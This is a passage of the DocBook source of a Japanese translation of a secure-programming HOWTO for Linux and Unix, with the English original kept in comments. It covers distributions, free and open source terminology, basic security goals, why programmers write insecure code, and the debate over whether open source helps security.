このカーネルには FSF の成果物とその他の部分(BSD からいくつかと MIT の 
X Window System)から構成され、自由に修正可能でかつ実践的なオペレーティング
システムとなりました。
この文書はカーネル自身を指す場合に「Linux カーネル」とし、全体を組み合わせた
ものを「Linux」とします。
よく使う「GNU/Linux」という言葉は、この組み合わせを表す言葉と同じ意味で用いる
場合が大半です。
</para>

<para>
<!--
In the Linux community,
different organizations have combined the available components differently.
Each combination is called a ``distribution'', and the organizations that
develop distributions are called ``distributors''.
Common distributions include Red Hat, Mandrake, SuSE, Caldera, Corel,
and Debian.
There are differences between the various distributions,
but all distributions are based on the same foundation: the
Linux kernel and the GNU glibc libraries.
Since both are covered by ``copyleft'' style licenses, changes to
these foundations generally must be made available to all, a
unifying force between the Linux distributions at their foundation
that does not exist between the BSD and AT&amp;T-derived Unix systems.
This book is not specific to any Linux distribution; when it
discusses Linux it presumes Linux
kernel version 2.2 or greater and the C library glibc 2.1 or greater,
valid assumptions for essentially all current major
Linux distributions.
-->
Linux コミュニティでは、さまざまな組織がそれぞれ役に立つツールを組み合わせて
います。
それぞれの組み合わせは、「ディストリビューション」と呼ばれ、ディストリ
ビューションを開発する組織を「ディストリビュータ」と呼んでいます。
よく知られたディストリビューションには、Red Hat や Mandrake、SuSE、Caldera、
Corel、Debian があります。
ディストリビューション間に違いはありますが、同じコアを使ってディストリ
ビューションを構築しています。コアとは Linux カーネルと GNU glibc ライブラリ
を指します。
両ソフトウェアとも「copyleft」スタイルのライセンスになっていて、誰もが
このコア部分の変更を利用できなければいけないことになっています。Linux 
ディストリビューション間に存在するこの強制力は、BSD と AT&amp;T から派生
した Unix システムの間には存在していません。
この文書では特定の Linux ディストリビューションをターゲットにはしません。
Linux について論ずる時には、前提として Linux カーネルのバージョン 2.2 以上
で、C ライブラリが バージョン 2.1 以上とします。現状のメジャーな Linux 
ディストリビューションはすべてこの前提を満たしています。

</para>

</sect2>

<sect2 id="oss-history">
<!-- <title>Open Source / Free Software</title> -->
<title>オープンソースとフリーソフトウェア</title>

<para>
<!--
Increased interest in software that is freely shared
has made it increasingly necessary to define and explain it.
A widely used term is ``open source software'', which is further defined in
[OSI 1999].
Eric Raymond [1997, 1998] wrote several seminal articles examining
its various development processes.
Another widely-used term is ``free software'', where the ``free''
is short for ``freedom'': the usual explanation is ``free speech, not
free beer.''
Neither phrase is perfect.
The term
``free software'' is often confused with programs whose executables are
given away at no charge, but whose source code cannot be viewed, modified,
or redistributed.
Conversely, the term ``open source'' is sometime (ab)used
to mean software whose
source code is visible, but for which there are limitations on
use, modification, or redistribution.
This book uses the term ``open source'' for its usual meaning, that
is, software which has its source code freely available for
use, viewing, modification, and redistribution; a more detailed
definition is contained in the
<ulink
url="http://www.opensource.org/osd.html">Open Source Definition</ulink>.
In some cases, a difference in motive is suggested;
those preferring the term ``free software'' wish to strongly
emphasize the need for freedom, while those using the term may have
other motives (e.g., higher reliability) or simply wish to appear less
strident.
For information on this definition of free software, and
the motivations behind it, can be found at
<ulink url="http://www.fsf.org">http://www.fsf.org</ulink>.
-->
ソフトウェアを自由に共有することに対する関心が高まるにつれて、
それを定義し、説明することが必要不可欠になってきました。
「オープンソース・ソフトウェア」という広く利用されている用語は[OSI 1999]
でさらに詳しく定義してあります。
Eric Raymond[1997, 1998]は独創的な論文で、オープンソース・ソフトウェア
におけるさまざまな開発プロセスについて説明しています。
もう 1 つ広く使われている用語に「フリーソフトウェア」があり、ここで言う
「フリー」とは「権利としての自由」を意味します。この例としてよく出されるのは
「言論の自由」であって「ただ酒」ではない、です。
【訳註：free には、「自由」と「無料」という 2 つの意味があります】。
どちらの用語も完璧ではありません。
実行形式を無償で配布できたとしても、ソースコードを見られなかったり、修正
できなかったり、再配布できなかったりしたものは「フリーソフトウェア」とは
認めないのが通例です。
逆に「オープンソース」という用語はソースコードは見られるが、利用や修正、
再配布に制限があるソフトウェアを意味する(非難する)場合に使われることが
あります。さらに詳しい定義については <ulink
url="http://www.opensource.org/osd.html">Open Source Definition</ulink> 
を見てください。
この言葉を使う動機に違いがでる場合があります。
「フリーソフトウェア」という言葉が好きな人は、「権利としての自由」が
必要であることを強調することを好みます。一方で、他の動機(たとえば信頼性が
高いこと)を持っていたり、それ程強硬に主張したいわけではなかったりする人が
使っている場合もあります。
フリーソフトウェアについての定義や目的については <ulink 
url="http://www.fsf.org">http://www.fsf.org</ulink> を見てください。

</para>

<para>
<!--
Those interested in reading advocacy pieces for open source software
and free software should see
<ulink
url="http://www.opensource.org">http://www.opensource.org</ulink> and
<ulink
url="http://www.fsf.org">http://www.fsf.org</ulink>.
There are other documents which examine such software, for example,
Miller [1995]
found that the open source software were noticeably
more reliable than proprietary software
(using their measurement technique, which measured
resistance to crashing due to random input).
-->
オープンソース・ソフトウェアやフリーソフトについての主張の数々に興味
があるなら、<ulink 
url="http://www.opensource.org">http://www.opensource.org</ulink> や 
<ulink 
url="http://www.fsf.org">http://www.fsf.org</ulink> をぜひ見てください。
その他にも Miller[1995]のようにオープンソース・ソフトウェアやフリー
ソフトについて調査した文書があります。その中でオープンソースは、企業が
所有しているソフトウェアよりもずば抜けて信頼性がある、となっています(ソフト
ウェアに対してランダムな入力を行い、どれだけクラッシュに耐えうるのか、
独自に計測しています)。
</para>

</sect2>

<sect2 id="linux-vs-unix">
<!-- <title>Comparing Linux and Unix</title> -->
<title>Linux と Unix を比較する</title>

<para>
<!--
This book uses the term ``Unix-like'' to describe
systems intentionally like Unix.
In particular, the term ``Unix-like'' includes
all major Unix variants and Linux distributions.
Note that many people simply use the term ``Unix'' to describe these systems
instead.
Originally, the term ``Unix'' meant a particular product developed
by AT&amp;T.
Today, the Open Group owns the Unix trademark, and it defines Unix as
``the worldwide Single UNIX Specification''.
-->
この文書では、「Unix ライクな」という言葉を、あえて Unix に似せたシステム
を指すために使っています。
「Unix ライクな」という言葉は、メジャーな Unix すべてと Linux ディストリ
ビューション を指しています。
「Unix」という言葉を単に「Unix ライクな」と同じ意味で使っている人が
多いことも忘れないでください。
そもそも「Unix」は AT&amp;T が開発した製品を意味します。
今日では Open Group が Unix の商標を所有していています。そこでは Unix を
「世界でただ 1 つの UNIX 規格」と定義しています。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.unix-systems.org/what_is_unix.html -->
</para>

<para>
<!--
Linux is not derived from Unix source code, but its interfaces are
intentionally like Unix.
Therefore, Unix lessons learned generally apply to both, including information
on security.
Most of the information in this book applies to any Unix-like system.
Linux-specific information has been intentionally added to
enable those using Linux to take advantage of Linux's capabilities.
-->
Linux は Unix のソースコードを受け継いでいませんが、インタフェースは
あえて Unix に似せています。
そのため、Unix の講義で学んだことはセキュリティの知識を含めてほとんど
どちらのシステムにも当てはまります。
この文書の大半の情報はどんな Unix ライクなシステムにも当てはまります。
Linux を使うとメリットが出る場合には、あえて Linux に特化した情報を追加して
います。
</para>

<para>
<!--
Unix-like systems share a number of security mechanisms, though there
are subtle differences and not all systems have all mechanisms available.
All include user and group ids (uids and gids) for each process and
a filesystem with read, write, and execute permissions (for user, group, and
other).
-->
Unix ライクなシステムはいろいろとセキュリティの仕組みを共有していますが、
微妙に違いがあるので、すべてのシステムでその仕組みがすべて利用できるわけでは
ありません。
プロセスに対するユーザやグループ ID(uid と gid)とファイルシステムに対する
読み書き、実行権(ユーザやグループ、その他)はすべてのシステムで利用できます。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Most include System V single-machine
     inter-process communication (IPC) mechanisms
      and BSD's socket-based IPC (which support networks). -->
<!--
See Thompson [1974] and Bach [1986]
for general information on Unix systems, including their basic
security mechanisms.
<xref linkend="features">
summarizes key security features of Unix and Linux.
-->
Thompson[1974]と Bach[1986]には Unix システム一般についての情報
があり、基本的なセキュリティの仕組みについても触れています。
<xref linkend="features"> では Unix と Linux のセキュリティ機能で鍵となる
ところを要約します。
</para>

</sect2>

</sect1>

<sect1 id="security-principles">
<!-- <title>Security Principles</title> -->
<title>セキュリティの原則</title>

<para>
<!--
There are many general security principles which you should be
familiar with; one good place for general information on information security
is the Information Assurance Technical Framework (IATF) [NSA 2000].
NIST has identified high-level ``generally accepted principles and practices''
[Swanson 1996].
You could also look at a general textbook on computer security, such as
[Pfleeger 1997].
A few security principles are summarized here.
-->
セキュリティの原則として、当たり前に理解しておかなければならないことが
たくさんあります。
Information Assurance Technical Framework(IATF)[NSA 2000]は、広くセキュリ
ティ情報を得るのに適したところです。
NIST は「原則や手法として広く認められている」ハイレベルな場所と見られて
います。
またコンピュータのセキュリティを網羅しているテキストとして、[Pfleeger 1997]
等があります。
ここで、セキュリティの原則についていくつか要約してみます。
</para>

<para>
<!--
Often computer security goals are described in terms of three
overall goals:
-->
コンピュータセキュリティは全体で 3 つの目標があります。

<itemizedlist>
<listitem>

<para>
<!--
<emphasis remap="it">Confidentiality</emphasis> (also known as secrecy), meaning that the
computing system's assets are accessible only by authorized parties.
-->
<emphasis remap="it">機密を保持する</emphasis>(秘密を保持するともいいます)。
コンピュータシステム資産は認証を受けたメンバーだけがアクセスできることを意味
します。
</para>
</listitem>
<listitem>

<para>
<!--
<emphasis remap="it">Integrity</emphasis>, meaning that the assets can only be modified by
authorized parties in authorized ways.
-->
<emphasis remap="it">完全な状態を保つ</emphasis>。認証過程を経て許可
を受け、権限を持ったメンバーだけが資産を変更できることを意味します。
</para>
</listitem>
<listitem>

<para>
<!--
<emphasis remap="it">Availability</emphasis>,
meaning that the assets are accessible to the authorized 
parties in a timely manner (as determined by the systems requirements).
The failure to meet this goal is called a denial of service.
-->
<emphasis remap="it">利用できること</emphasis>。権限を持ったメンバーが、資産
へ適時(システムが必要とする要件によって決まる)アクセスできます。
この目標が達成できない場合は、サービス拒否という状態になります。
</para>
</listitem>

</itemizedlist>


<!--
Some people define additional security goals, while others lump those
additional goals as special cases of these three goals.
For example, some separately
identify non-repudiation as a goal; this is
the ability to ``prove'' that a sender sent or receiver received a message,
even if the sender or receiver wishes to deny it later.
Privacy is sometimes addressed separately from confidentiality;
some define this as protecting the confidentiality of a
<emphasis>user</emphasis> (e.g., their identity) instead of the data.
Most goals require identification and authentication, which is
sometimes listed as a separate goal.
Often auditing (also called accountability) is identified
as a desirable security goal.
Sometimes ``access control''  and ``authenticity'' are listed separately
as well.
In any case, it is important to identify your program's overall
security goals, no matter how you group those goals together,
so that you'll know when you've met them.
-->
さらに目標を追加する場合もありますし、追加した目標をこの 3 つの目標の
特殊なケースとしてまとめてしまうこともあります。
たとえば、拒否しないことを独立した目標としている場合があります。これは、
送り手側がメッセージを送ったこと、受け手側がメッセージを受け取ったこと、
またはその両方を「証明」する能力のことです。たとえ、送り手側または受け手
側が後でそれを否定したくなったとしてもです。プライバシーを機密保持とは区別
して扱う場合もあります。
データではなく、<emphasis>ユーザ</emphasis>(たとえばユーザの身元)の機密保持
を守ることと定義する場合もあります。
目標は、識別と認証を必要としている場合がよくあり、時には独立した目標として
記載してある場合もあります。
監査(評価とも言います)はセキュリティの目標として好ましいとされています。
同様に「アクセス制御」や「本人であることの認証」は別物として記載してある場合
があります。
どのケースであっても、プログラム全体に渡って、セキュリティの目標と一致させる
ことが重要です。目標をどのようにまとめようと、その目標に合致することが重要
なのです。
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Reference other classics? Orange Book? CC? See
  http://seclab.cs.ucdavis.edu/projects/history/seminal.html

 Reference other Computer security websites and issues, including:
    http://www.centralwebs.co.uk/Links/secure.html
 Maximum Security's appendix:
    http://www.uzsci.net/documentation/Books/Max_Security/apa/apa.htm

 Multi-player games -
   How to Hurt the Hackers: The Scoop on Internet Cheating
    and How You Can Combat It
   By Matt Pritchard 
   Gamasutra
   July 24, 2000
   http://www.gamasutra.com/features/20000724/pritchard_pfv.htm
 -->

<para>
<!--
Sometimes these goals are a response to a known set of threats,
and sometimes some of these goals are required by law.
For example, for U.S. banks and other financial institutions,
there's a new privacy law called the ``Gramm-Leach-Bliley'' (GLB) Act.
This law mandates disclosure of personal information shared and
means of securing that data, requires disclosure of personal information
that will be shared with third parties, and directs institutions to
give customers a chance to opt out of data sharing.
[Jones 2000]
-->
時にはこれらの目標が、既知の脅威に対する対抗手段である場合や法律で制定して
ある場合もあります。
たとえば、米国の銀行や金融機関に対して、「Gramm-Leach-Bliley」(GLB)法という
プライバシー関連の新しい法律ができました。
この法律では、共有される個人情報を開示すること及びそれらを安全にすることを
必須とし、第三者との間で共有される個人情報の開示を要求し、さらに、それらの
機関に対して顧客がデータ共有を止めさせる機会を与えるよう指導しています
[Jones 2000]。
</para>

<para>
<!--
There is sometimes conflict between security and some other general
system/software engineering principles.
Security can sometimes interfere with ``ease of use'', for example,
installing a secure configuration may take more effort than a
``trivial'' installation that works but is insecure.
Often, this apparent conflict can be resolved, for example, by re-thinking
a problem it's often possible to make a secure system also easy to use.
There's also sometimes a conflict between security and abstraction
(information hiding);
for example, some high-level library routines may be implemented securely
or not, but their specifications won't tell you.
In the end, if your application must be secure, you must do things yourself
if you can't be sure otherwise - yes, the library should be fixed, but
it's your users who will be hurt by your poor choice of library routines.
-->
セキュリティとシステムやソフトウェア上のその他の技術方針とが相反する場合が
あります。
セキュリティが「簡単に使う」ことを妨げる場合があるからです。たとえば安全な
設定を施すには、動作はするものの安全ではない設定よりも手間をかける必要がある
かもしれません。
この相反する点を解決できる場合は多々あります。たとえば問題点をよく考える
ことで、簡単に利用ができてかつ安全なシステムを構築できる場合がよくあります。
セキュリティと抽象化(情報の隠蔽)にも相反する点があります。
たとえば高度なライブラリ・ルーチンは、安全に実装してあろうがなかろうが、仕様
からは何もわかりません。
つまりアプリケーションに安全が求められる場合、確信がもてないなら、自分自身で
実装しなければいけません。つまりそのライブラリを修正しなければいけない
ということです。あなたが不適切なライブラリ・ルーチンを選択すると、迷惑を
被るのはユーザなのです。
</para>

<para>
<!--
A good general security principle is ``defense in depth'';
you should have numerous defense mechanisms (``layers'') in place,
designed so that an attacker has to defeat multiple mechanisms to
perform a successful attack.
-->
「徹底的に防御する」という原則は、セキュリティ上優れています。
たくさんの防御機構(階層)を適した場所に配置し、攻撃に成功するには複数の機構を
攻撃側が破らなければならないように設計します。
</para>

</sect1>

<sect1 id="why-write-insecure">
<!-- <title>Why do Programmers Write Insecure Code?</title> -->
<title>なぜプログラマは危ないコードを書いてしまうのか</title>
<para>
<!--
Many programmers don't intend to write insecure code - but do anyway.
Here are a number of purported reasons for this.
Most of these were collected and summarized by Aleph One on Bugtraq
(in a posting on December 17, 1998):
-->
プログラマの多くは、危ないコードを書こうとしているわけではありませんが、
そうなってしまうのです。
理由は山ほどあります。Bugtraq で Aleph One が理由を集めて要約しています
(1998 年 12 月 17 日に投稿されました)。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Title: Re: Learning security [SUMMARY] -->
<itemizedlist>
<listitem><para>
<!--
There is no curriculum that addresses computer security in most schools.
Even when there <emphasis>is</emphasis> a computer security curriculum, they
often don't discuss how to write secure programs as a whole.
Many such curriculum only study certain areas such as
cryptography or protocols.
These are important, but they often fail to discuss common real-world issues
such as buffer overflows, string formatting, and input checking.
I believe this is one of the most important problems; even those programmers
who go through colleges and universities are very unlikely to learn
how to write secure programs, yet we depend on those very people to
write secure programs.
-->
ほとんどの教育機関には、コンピュータのセキュリティを扱うカリキュラムがありま
せん。
カリキュラムが<emphasis>あった</emphasis>としても、どのようにして安全なコード
を書くのかは論じられていないのが普通です。
カリキュラムの多くでは、暗号法やプロトコルといった特定の分野だけしか学習でき
ません。
それらは確かに重要ですが、バッファオーバーフローや文字列のフォーマット、
入力のチェックといった現実の世界で広く問題となっている点を論じるのを怠って
います。
これは最も重大な問題点の 1 つだと私は考えています。大学を卒業したプログラマ
でさえ、安全なプログラムをどのように書いてよいのかについてまったく無知なの
です。にもかかわらず、安全が必要となるプログラムを書くのでさえ、そのような
人々が書いたプログラムに頼らざるえません。
</para></listitem>
<listitem><para>
<!--
Programming books/classes do not teach secure/safe programming techniques.
Indeed, until recently there were no books on how to write secure programs
at all (this book is one of those few).
-->
プログラミングの書籍やクラスでは、安全で確実なプログラミング技術を習得できま
せん。
実際最近になるまで、安全にプログラムする方法についての書籍はまったくありません
でした(この文書は数少ないものの内の 1 つです)。
</para></listitem>
<listitem><para>
<!-- No one uses formal verification methods.  -->
誰も正式な検証法を使っていません。
</para></listitem>
<listitem><para>
<!--
C is an unsafe language, and the standard C library string functions
are unsafe.
This is particularly important because C is so widely used -
the ``simple'' ways of using C permit dangerous exploits.
-->
C 言語は安全な言語ではありません。標準 C ライブラリで用意してある文字列
関係の関数も安全とはいえません。
この点はとりわけ重大です。というのも C 言語は非常に広範に利用されていて、
C 言語を「深く考えず」に利用すると、危険なセキュリティホールを黙認することに
なります。
</para></listitem>
<listitem><para>
<!-- Programmers do not think ``multi-user.'' -->
プログラマは「複数ユーザ」の扱いを考慮しません。
</para></listitem>
<listitem><para>
<!--
Programmers are human, and humans are lazy.
Thus, programmers will often use the ``easy'' approach instead of a
secure approach - and once it works, they often fail to fix it later.
-->
プログラマは人間で、人間は不精です。
つまり、プログラマは安全なアプローチよりも「安直な」アプローチを取りがち
です。つまり動作してしまえば、後から修正することはほとんどありません。
</para></listitem>
<listitem><para>
<!-- Most programmers are simply not good programmers.  -->
たいていのプログラマは優れているとはまったくいえません。
</para></listitem>
<listitem><para>
<!--
Most programmers are not security people; they simply don't often
think like an attacker does.
-->
たいていのプログラマはセキュリティ関連の人間ではなく、攻撃側の考えにまで
思慮が至りません。
</para></listitem>
<listitem><para>
<!--
Most security people are not programmers.
This was a statement made by some Bugtraq contributors, but it's not clear
that this claim is really true.
-->
セキュリティに関っている人間は、たいていプログラマではありません。
これは Bugtraq への投稿者の何人かが主張していることで、真実であるかどうか
ははっきりしていません。
</para></listitem>
<listitem><para>
<!-- Most computer security models are terrible.  -->
コンピュータのセキュリティ・モデルの大半はひどい代物です。
</para></listitem>
<listitem><para>
<!--
There is lots of ``broken'' legacy software.
Fixing this software (to remove security faults or to make it work with
more restrictive security policies) is difficult.
-->
ソフトウェアの中には、既に「いかれてしまっている」のに使い続けられている
ものがたくさんあります。
このソフトウェアを修正する(セキュリティ上の問題を取り除き、より厳しい
セキュリティ・ポリシの元で動かすようにする)のは困難です。
</para></listitem>
<listitem><para>
<!--
Consumers don't care about security.
(Personally, I have hope that consumers are beginning to care about security;
a computer system that is constantly exploited is neither useful
nor user-friendly.
Also, many consumers are unaware that there's
even a problem, assume that it can't happen to them, or think that
that things cannot be made better.)
-->
消費者はセキュリティに無関心です。
(個人的には、消費者がセキュリティに関心を持ちはじめることを望んでいます。
いつもやられているコンピュータ・システムは、役に立たないどころか、使い勝手
も良くありません。
また消費者の多くは、問題があることにさえ気づいていないばかりか、状況が
好転していないことすら知りません)。

</para></listitem>
<listitem><para>
<!-- Security costs extra development time.  -->
セキュリティを確保するには、余計な開発時間が必要になります。
</para></listitem>
<listitem><para>
<!--
Security costs in terms of additional testing
(red teams, etc.).
-->
セキュリティを確保するには、テストの面でも手間が増えます(仮想敵対チーム等)。
</para></listitem>
</itemizedlist>
</para>
</sect1>

<sect1 id="open-source-security">
<!-- <title>Is Open Source Good for Security?</title> -->
<title>オープンソースはセキュリティに効果があるのか</title>

<para>
<!--
There's been a lot of debate by security practitioners
about the impact of open source approaches on security.
One of the key issues is that open source exposes the source code
to examination by everyone, both the attackers and defenders,
and reasonable people disagree about the ultimate impact of this situation.
-->
セキュリティを実践している人間によって、オープンソースがセキュリティに
与える影響について、数多くの議論がなされてきました。
主な論点の 1 つに、オープンソースはソースコードを公開しているので、誰でも
つまり攻撃側と防御側のどちらもがソースコードを調べられるというものがあり
ます。 この状況が決定的な影響力を持つことに、理性的な人びとは同意していません。
</para>

<para>
<!--
Here are a few quotes from people who have examined the topic.
Bruce Schneier argues that smart engineers should ``demand
open source code for anything related to security'' [Schneier 1999],
and he also discusses some of the preconditions which must be met to make
open source software secure.
Vincent Rijmen, a developer of the winning Advanced Encryption Standard (AES)
encryption algorithm, believes that
the open source nature of Linux
provides a superior vehicle to making security vulnerabilities easier
to spot and fix, ``Not only because more people can look at it, but,
more importantly, because the model forces people to write more clear
code, and to adhere to standards. This in turn facilitates security review''
[Rijmen 2000].
Elias Levy (Aleph1) discusses some of the problems in making open source
software secure in his article
<ulink url="http://www.securityfocus.com/commentary/19">"Is Open Source
Really More Secure than Closed?"</ulink>.
His summary is:
-->
ここで、このトピックについて調査してきた方々を何人か紹介します。
Bruce Schneier 氏は、「賢明な技術者なら、セキュリティに関連した事項は
すべてオープンソースのコードに求めた方が良い」[Schneier 1999]としています。
またオープンソースなソフトウェアを安全にするに必須の条件をいくつかを論じて
います。
Advanced Encryption Standard (AES)の暗号化アルゴリズムを勝ち取った開発者
である Vincent Rijmen 氏は、セキュリティ上の脆弱性を簡単に見つけ出し、それを
修正するのには Linux のオープンソースの特性がこの上ない手段であると考えて
います。「より多くの人々が見るということ以上に重要なのは、このモデルにおいて、
より明快なコードを書くこと、標準を厳守することをみんなに強制している点です。
これはセキュリティ・レビューをスムーズに繰り返し行うことに他なりません」
[Rijmen 2000] としています。
Elias Levy (Aleph1) 氏は彼の論文である 
<ulink url="http://www.securityfocus.com/commentary/19">"Is Open Source
Really More Secure than Closed?"</ulink> でオープンソースのソフトウェアを
安全にする上での問題点を論じています。
要約してみると下記のようになります。
<blockquote>
<para>
<!--
So does all this mean Open Source Software is no better than closed
source software when it comes to security vulnerabilities? No. Open
Source Software certainly does have the potential to be more secure
than its closed source counterpart.
But make no mistake, simply being open source is no guarantee of security.
-->
つまり、セキュリティ上の脆弱性が生じた時に、オープンソースとそうでないソフト
ウェアは大差がないのでしょうか。それは違います。オープンソースのソフトウェア
はそうでないソフトウェアよりも、もっと安全になる見込みが確かにあります。
しかし勘違いしないで欲しいのは、単にオープンソースだからといってセキュリティ
が保証されるわけでは無いということです。
</para>
</blockquote>
<!--
John Viega's article
<ulink url="http://dev-opensourceit.earthweb.com/news/000526_security.html">"The Myth of Open Source Security"</ulink> also discusses
issues, and summarizes things this way:
-->
John Viega 氏の論文である <ulink 
url="http://dev-opensourceit.earthweb.com/news/000526_security.html">"The Myth of Open Source Security"</ulink> はこの点を論じています。要約してみると下記の
ようになります。
<blockquote>
<para>
<!--
Open source software projects can be more secure than closed
source projects. However, the very things that can make open
source programs secure &R45;&R45; the availability of the source code,
and the fact that large numbers of users are available to look
for and fix security holes &R45;&R45; can also lull people into a false
sense of security. 
-->
オープンソースのソフトウェア・プロジェクトは、そうでないプロジェクトのソフト
ウェアよりも安全になる力を秘めています。しかしオープンソースのプログラムが
安全になるよりどころである、ソースコードが利用できること、たくさんのユーザが
セキュリティホールを見つけてそれを修正できるという事実は、人をだまして安心
させることにもなり得ます。
</para>
</blockquote>
<!--
<ulink url="http://www.linuxworld.com/linuxworld/lw-1998-11/lw-11-ramparts.html">Michael H. Warfield's "Musings on open source security"</ulink> is much
more positive about the impact of open source software on security.
Fred Schneider doesn't believe that open source helps security, saying
``there is no reason to believe that the many eyes inspecting (open)
source code would be successful in identifying bugs that allow
system security to be compromised'' and claiming that
``bugs in the code are not the dominant means of attack'' [Schneider 2000].
He also claims that open source rules out control of the construction
process, though in practice there is such control - all major open source
programs have one or a few official versions with ``owners'' with
reputations at stake.
Peter G. Neumann discusses ``open-box'' software (in which source code
is available, possibly only under certain conditions), saying
``Will open-box software really improve system security?
My answer is not by itself, although the potential is considerable''
[Neumann 2000].
TruSecure Corporation, under sponsorship by Red Hat (an open source company),
has developed a paper on why they believe open source is more
effective for security [TruSecure 2001].
<ulink url="http://www-106.ibm.com/developerworks/linux/library/l-oss.html?open&amp;I=252,t=gr,p=SeclmpOS">Natalie Walker Whitlock's IBM DeveloperWorks article</ulink>
discusses the pros and cons as well.
Brian Witten, Carl Landwehr, and Micahel Caloyannides [Witten 2001]
published in IEEE Software an article tentatively concluding that
having source code available should work in the favor of system security;
they note:
-->
<ulink url="http://www.linuxworld.com/linuxworld/lw-1998-11/lw-11-ramparts.html">Michael H. Warfield's "Musings on open source security"</ulink> はさらに
確信を持って、オープンソースがセキュリティに対して影響力を持つことを主張して
います。
Fred Schneider 氏はオープンソースはセキュリティに役に立つとは考えておらず、
「多くの目が(オープンな)ソースに注がれることで、システムのセキュリティを危うく
してしまうバグを発見できると信ずるに足る理由はありません」とし、また
「コードに含まれているバグが、攻撃手法として抜きんでているわけではありません」
[Schneider 2000]とも主張しています。
またオープンソースは、プログラム構築工程の管理を考慮していない、とも主張
していますが、実際には管理は存在しています。オープンソースのメジャーな
プログラムすべては、「責任者」の面目にかけて作成した公式バージョンがいくつか
存在します。
Peter G. Neumann 氏は「オープン・ボックス」ソフトウェア(ソースコードがある
状況下でのみで恐らく利用可能)を論じていて、その中で「オープン・ボックスである
ソフトウェアはシステムのセキュリティを本当に改善するのだろうか？ 自然と
そうなるわけではない。ただ可能性は無視できない」[Neumann 2000]としています。
TruSecure Corporation という Red Hat(オープンソースで企業活動している)が資金
提供をしている企業は、オープンソースがなぜセキュリティに有効であると思われて
いるのかを書籍にまとめました[TruSecure 2001]。
<ulink url="http://www-106.ibm.com/developerworks/linux/library/l-oss.html?open&amp;I=252,t=gr,p=SeclmpOS">Natalie Walker Whitlock's IBM DeveloperWorks article</ulink>
では賛否両論を載せています。
【訳註：Natalie Walker Whitlock's IBM DeveloperWorks article の日本語訳は、
<ulink url="http://www-6.ibm.com/jp/developerworks/linux/010615/j_l-oss.html"
>http://www-6.ibm.com/jp/developerworks/linux/010615/j_l-oss.html</ulink>
にあります】。
Brian Witten 氏と Carl Landwehr 氏、Micahel Caloyannides 氏 [Witten 2001]
は IEEE のソフトウェア関連論文でソースコードが利用できると、システムの
セキュリティに好都合に物事が運ぶはず、と控えめに結論づけています。
彼らによると、
<blockquote>
<para>
<!--
``We can draw four additional conclusions from this discussion. First,
access to source code lets users improve system security &R45;&R45; if they have
the capability and resources to do so. Second, limited tests indicate that
for some cases, open source life cycles produce systems that are less
vulnerable to nonmalicious faults. Third, a survey of three operating 
systems indicates that one open source operating system experienced less
exposure in the form of known but unpatched vulnerabilities over a 12-month
period than was experienced by either of two proprietary counterparts.
Last, closed and proprietary system development models face disincentives
toward fielding and supporting more secure systems as long as less secure
systems are more profitable. Notwithstanding these conclusions, arguments
in this important matter are in their formative stages and in dire need of
metrics that can reflect security delivered to the customer.''
-->
「私たちは、この議論からさらに 4 つの結論を引き出せます。第一に、ソース
コードにアクセスできれば、ユーザがシステムのセキュリティを改善できるように
なります。そのような才能と人材があるならばですが。第二に、限られたテストでは
一部のケースしか指摘できませんが、オープンソースのライフサイクルをもって
すれば、悪意の無い欠点に対して、より脆弱さが少ないシステムを構築できます。
第三に、3 つのオペレーティングシステムを数年間調査したところ、12 か月に
渡ってパッチが無い状態で既知の脆弱性をさらした日数が、2 つの商用システム
よりも、残り 1 つのオープンシステムの方が短かかった、という結果になりました。
最後になりますが、行き詰まっているのはオープンではない商用システムの開発
モデルの方です。システムとは手間をかけて維持、サポートして行くことでより安全
になるということ、手間をかけないシステムは安全ではないが利益は上がる、という
相反する問題であるからです。結論は出ているには出ていますが、この大切な点の
議論はまだ中途半端で、消費者に提供されるセキュリティを反映できる基準が切に
望まれています」
</para>
</blockquote>
</para>

<para>
<!--
Sometimes it's noted that a vulnerability that exists but is unknown
can't be exploited, so the system ``practically secure.''
In theory this is true, but the problem is that once someone finds
the vulnerability, the finder may just exploit
the vulnerability instead of helping to fix it.
Having unknown vulnerabilities doesn't really make the vulnerabilities go away;
it simply means that the vulnerabilities are a time bomb, with no
way to know when they'll be exploited.
Fundamentally, the problem of someone exploiting a vulnerability they
discover is a problem for both open and closed source systems.
It's been argued that a 
system without source code is more secure in this sense because,
since there's less information available for an attacker, it would be
harder for an attacker to find the vulnerabilities.
A counter-argument is that attackers generally don't need source code,
and if they want to use source code they can use disassemblers to re-create
the source code of the product.
See Flake [2001] for one discussion of how closed code can still be examined
for security vulnerabilities (e.g., using disassemblers).
In contrast, defenders won't usually look for problems if they
don't have the source code, so not having the source code puts defenders
at a disadvantage compared to attackers.
-->
注意して欲しいのは、時として脆弱性には、その存在を知られていないゆえにやられ
ない場合があることです。つまりそのようなシステムは「実質的には安全」なのです。
理屈上これは真実ですが、問題は誰かがその脆弱性を見つけ出したなら、脆弱性の
修正に貢献せずに悪用するかもしれないという点にあります。
脆弱性が知られていないとしても、実際にその脆弱性がどこかに行ってしまうわけ
ではありません。ただ、その脆弱性が時限爆弾のようにいつ悪用されるか知りようが
ないだけです。
発見した脆弱性を誰かが悪用するという問題は、システムがオープンソースであろうが
なかろうが本来関係ありません。
ソースコードの無いシステムは、より安全であるという主張がなされてきました。
攻撃側にとって情報が少ないため、脆弱性を見つけにくい、というのがその理由
です。
それに相対するものとして、攻撃側はほとんどソースコードを必要としておらず、
ソースコードを利用したいと思う時には逆アセンブルしてソースコードを再生成
してしまう、という意見があります。
Flake [2001]では、オープンでないコードに対してセキュリティ上の脆弱性をどの
ように調べているかを論じています(たとえば、逆アセンブラを使って)。
かたや防御側は、ソースコードが無ければ問題を探しようがありません。
防御側はソースコードが無いと、攻撃側と比べて不利な立場になります。
</para>

<para>
<!--
One claim sometimes made is that people should not post warnings about
vulnerabilities and discuss them.
This sounds good in theory, but the problem is that attackers already
distribute information about vulnerabilities through a large number
of channels.
In short, such approaches would leave
defenders vulnerable, while doing nothing to inhibit attackers.
In the past, companies actively tried to prevent disclosure of vulnerabilities,
but experience showed that, in general, companies didn't fix vulnerabilities
until they were widely known to their users (who could then insist that
the vulnerabilities be fixed).
This is all part of the argument for ``full disclosure.''
Gartner Group has a blunt commentary in a CNET.com article titled
``Commentary: Hype is the real issue - Tech News.''
They stated:
-->
